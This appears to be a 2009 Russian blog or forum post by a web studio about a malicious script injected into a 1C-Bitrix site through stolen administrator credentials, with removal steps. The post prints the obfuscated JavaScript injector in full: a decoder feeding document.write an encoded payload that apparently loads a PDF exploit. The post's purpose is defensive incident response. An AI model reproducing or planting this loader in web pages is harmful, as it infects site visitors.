Обслуживая проект Спортмастер (www.sportmaster.ru) мы столкнулись с тем, что 08.06.2009 страницы данного сайта либо загружались со "второго" раза (сообщали, что страница не найдена), либо стали запускать внешнее приложение Adobe Reader (PDF).
Используем лицензионный NOD32. Когда Adobe Reader (PDF) запускался, антивирус блокировал его выполнение и в целом сайт грузился. Но тесты показали, что не всё так было успешно, т.е. большинство браузеров с ошибкой загружали сайт, но Internet Explorer версии 6 и 7 версии (чаще всего 7 версия, т.к. 6-я версия после долгих раздумий загружала) ни в каком виде не запускали сайт.
[spoiler]
Самый простой поиск вируса - поиск "излишеств" в коде, с него и начали. Учитывая, что разработан сайт в нашей компании, наши специалисты достаточно быстро обнаружили посторонний код:
<script language="javascript">function _lHrdPPtSyemSH4( _lrtylX7oxRs8gD ){ var _lpjW0aeh3uwnCl = "/9zC0UBm4AeR52+37ibEOKrMDtyTdu8cqsajIfPGhpSYlQXn1xkHFWVJNZowLgv6"; var _lHp3Pjl9XMXV1K = '';var _lmjJJmyt9oJdMD = 18;var _lO8qRky6dEfED3 = 0; for ( var _lRbPIl1suBVjuV = 0; _lRbPIl1suBVjuV < _lrtylX7oxRs8gD.length; _lRbPIl1suBVjuV++ ) { var _lO3za6DYnU9bQc = _lpjW0aeh3uwnCl.indexOf( _lrtylX7oxRs8gD.charAt( _lRbPIl1suBVjuV ) ); if ( _lmjJJmyt9oJdMD == 0 ) { _lO8qRky6dEfED3 = _lO8qRky6dEfED3 | _lO3za6DYnU9bQc; var _lgwhkqyB67nxqY = ( _lO8qRky6dEfED3 & 0xFF0000 ) >> 16; if ( _lgwhkqyB67nxqY != 0 ) {_lHp3Pjl9XMXV1K += String.fromCharCode( _lgwhkqyB67nxqY );} var _lzC7jXLcMlZQAC = ( _lO8qRky6dEfED3 & 0xFF00 ) >> 8; if ( _lzC7jXLcMlZQAC != 0 ){_lHp3Pjl9XMXV1K += String.fromCharCode( _lzC7jXLcMlZQAC );} var _lk9e1cAoAlVzmR = _lO8qRky6dEfED3 & 0xFF; if ( _lk9e1cAoAlVzmR != 0 ){_lHp3Pjl9XMXV1K += String.fromCharCode( _lk9e1cAoAlVzmR );} _lO8qRky6dEfED3 = 0;_lmjJJmyt9oJdMD = 18;} else {_lO3za6DYnU9bQc = _lO3za6DYnU9bQc << _lmjJJmyt9oJdMD; _lO8qRky6dEfED3 = _lO8qRky6dEfED3 | _lO3za6DYnU9bQc;_lmjJJmyt9oJdMD -= 6;}} return _lHp3Pjl9XMXV1K;} document.write( _lHrdPPtSyemSH4( '3BfPdPUQtb9HdP5g4PsFum/oRkgXyrZfuBgkDM0Xy rNnTzZ1ym/6TPff4a9JyriFyCFx4BsfyruhuCFx4m2F8 rxf3bAVyM2pDPflyMiZ+a9hyriItrNa3j1nyrtkDrWf3q//' ) );</script> |
Именно он и портил всю жизнь. Но убрав его, мы через 5 минут обнаружили его на том же месте.
Итак, отойдём от философии вопроса вирусов и их жизни, каково же решение проблемы? Всё оказалось весьма просто.
Лечение вируса
Данный вирус заражает не через доступ по FTP и SSH, он заражает через административный доступ в 1С-Битрикс.
1. Определяем, кто имеет доступ на запись файлов в папке /bitrix/ (В начальной конфигурации 1С-Битрикс - это пользователи, у которых установлена группа "Администраторы").
2. Определяем компьютеры, с которых осуществлялся доступ в панель управления 1С-Битрикс, используя права "Администратора".
3. Вылечиваем вирусы (трояны) на этих компьютерах (если их не вылечить, то при следующем доступе вирус появится вновь на сайте).
4. После лечения компьютеров, входим в панель управления 1С-Битрикс и вызываем на редактирование 2 файла (вирус размещается обычно в них):
/bitrix/header.php
/bitrix/modules/main/include/prolog.php
и удаляем лишний код, он прям в конце файла, его пример указан выше (на всякий случай уточняю: кусок, начинающийся с <script... и заканчивающийся </script>).
Всё, сайт жив.
Единственное уточнение, если Вы не сразу обнаружили этот вирус, то скорее всего некоторое время после его лечения сайт не будет открываться в Internet Explorer 7, во всех других браузерах сайт будет работать без проблем.
На момент написания этой записи мы ещё не связывались с Microsoft для уточнения причины неработоспособности сайта в Internet Explorer 7 (возможно фильтр фишинга или что-то подобное блокирует его открытие даже после излечения).
Интересует каким образом заражаются файлы...
Может проблема в безопасности хостинга?
Хотя в случае со спортмастером был "украден" пароль одного из администраторов сайта. Но схема потери пароля точно такая же.